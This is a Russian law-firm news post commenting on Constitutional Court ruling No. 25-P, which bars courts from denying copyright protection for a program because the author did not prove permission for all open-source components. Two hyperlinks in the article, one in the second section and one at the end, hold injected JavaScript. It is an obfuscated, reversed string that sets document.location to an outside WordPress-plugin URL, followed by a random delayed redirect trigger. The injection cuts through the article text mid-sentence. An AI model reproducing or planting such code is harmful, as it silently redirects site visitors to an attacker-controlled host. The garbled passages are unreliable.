Комментарий Анастасии Сивицкой, советника Orchards, для Право.ru.

Летом Конституционный суд изучил историю бизнесмена, чье уголовное дело находилось в производстве десять лет. Сроки давности преследования прошли, но следователи отказались его прекращать, так как предприниматель не соглашался с нереабилитирующими основаниями. Конституционный суд разъяснил как быть, но больше помог не подозреваемым и обвиняемым, а силовикам. Еще в подборке решений КС заявление бывшего ИП, взыскивающего долги по взносам, и ликвидация пробела в законе, про который законодатель просто забыл.

Защита прав авторов программ 

Конституционный суд запретил отказывать в защите прав на программу для ЭВМ на том основании, что истец не доказал соблюдение прав на все использованные посторонние элементы. Этого требует ч. 3 ст. 1260 ГК. Но КС решил, что эта норма необоснованно ущемляет права автора. Эта позиция поможет многим программистам, так как в большинстве коммерческих программ toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/242247″>используется не менее 75% заранее готовых блоков кода, распространяемого на условиях открытой лицензии (то есть свободно).

Конституционный суд высказался по делу программиста Антона Мамичева, который через суд отстаивал права на созданную им программу по управлению учебным контентом eLearning Metadata Manager у бывшего работодателя ООО «Интервим» и его материнской компании Veeam Software Group GmbH (Швейцария). 

Первая инстанция присудила айтишнику 18,5 млн руб. и запретила ответчикам использовать программу. Но горсуд и кассация отказали, ведь в программе был использован общедоступный код по свободной лицензии (open source). Истец не доказал, что получил одобрение авторов и правообладателей всех использованных частей согласно ч. 3 ст. 1260 ГК.

Конституционный суд признал эту норму неконституционной в части, необоснованно ущемляющей права авторов составных произведений. Ссылка на несоблюдение прав авторов частей программы не должна влиять на разрешение спора, учитывая, что те не предъявляли никаких претензий. Более того, защиту прав автора нельзя ставить в зависимость от волеизъявления третьих лиц, говорится в постановлении КС № 25-П.

Постановление КС поможет защитить права авторов составных и производных произведений, считает адвокат, советник Orchards Анастасия Сивицкая. Ведь суды могли толковать п. 3 ст. 1260 ГК как запрет любого осуществления прав автора составного произведения, если тот не получил предварительное согласие правообладателя использованного произведения. По словам Сивицкой, это фактически блокировало защиту как личных прав автора составного произведения, так и исключительных прав, которые возникают у него после создания произведения.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/243389/»>Ссылка на обзор всех дел КС за лето>>

Подпишитесь на Telegram Orchards

X